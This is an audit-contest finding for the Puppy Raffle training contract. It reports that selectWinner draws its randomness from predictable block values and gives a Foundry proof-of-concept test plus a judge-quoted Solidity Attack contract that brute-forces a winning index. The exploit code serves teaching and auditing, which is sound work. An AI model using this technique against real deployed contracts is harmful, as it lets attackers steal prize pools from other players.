Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Weak on-chain randomness allows an attacker to influence the raffle winner and the minted puppy rarity.

gush

Root + Impact

Description

  • The `PupplyRaffle::selectWinner` uses predictable / manipulable on-chain values to generate randomness.


    - Winner index RNG: `uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;`

    - Rarity RNG: `uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;`


    Because `msg.sender` is controlled by the caller and block values can be influenced by block producers, this RNG is not suitable for a fair raffle.

// Root cause in the codebase with @> marks to highlight the relevant section

Risk

Likelihood:

  • When the raffle is drawable, the attacker can compute the outcome for different caller addresses (EOAs / smart wallets) and only call `selectWinner` from an address that results in the attacker being selected, or coordinate with a builder to include a favorable timestamp.

Impact:

  • A motivated attacker (or a miner / builder / MEV searcher) can bias the selection, winning the prize pool more often than expected and also biasing the rarity distribution.

Proof of Concept

Place the following test into `PuppyRaffleTest.t.sol`.
​
```solidity
function test_weakRandomness_bruteforceCallerToPickWinner() public {
// Deploy a fresh raffle with short duration
PuppyRaffle raffle = new PuppyRaffle(1 ether, address(123), 0);
​
// Enter 4 players, with the attacker at index 0
address attacker = address(1337);
address[] memory players = new address[](4);
players[0] = attacker;
players[1] = address(1);
players[2] = address(2);
players[3] = address(3);
​
vm.deal(address(this), 4 ether);
raffle.enterRaffle{value: 4 ether}(players);
​
// Make the raffle drawable
vm.warp(1_000);
// If your forge version supports it, fix difficulty to make this fully deterministic
// vm.difficulty(2);
​
// Brute force a caller address that results in winnerIndex == 0
address caller;
for (uint256 i = 10; i < 10_000; i++) {
address candidate = address(uint160(i));
uint256 winnerIndex = uint256(
keccak256(abi.encodePacked(candidate, block.timestamp, block.difficulty))
) % 4;
if (winnerIndex == 0) {
caller = candidate;
break;
}
}
assertTrue(caller != address(0));
​
// Call selectWinner from the chosen caller
vm.prank(caller);
raffle.selectWinner();
​
assertEq(raffle.previousWinner(), attacker);
}
```

Recommended Mitigation

Use a verifiable randomness source (e.g. Chainlink VRF), or a commit-reveal scheme, and avoid using `block.timestamp/block.difficulty` as the sole randomness source.
​
High-level sketch (VRF / commit-reveal): ensure `selectWinner()` consumes an unbiasable `randomWord` instead of locally-derived entropy.
​
```diff
- uint256 winnerIndex =
- uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
+ uint256 winnerIndex = randomWord % players.length;
@@
- uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
+ uint256 rarity = uint256(keccak256(abi.encodePacked(randomWord, tokenId))) % 100;
```
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 2 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

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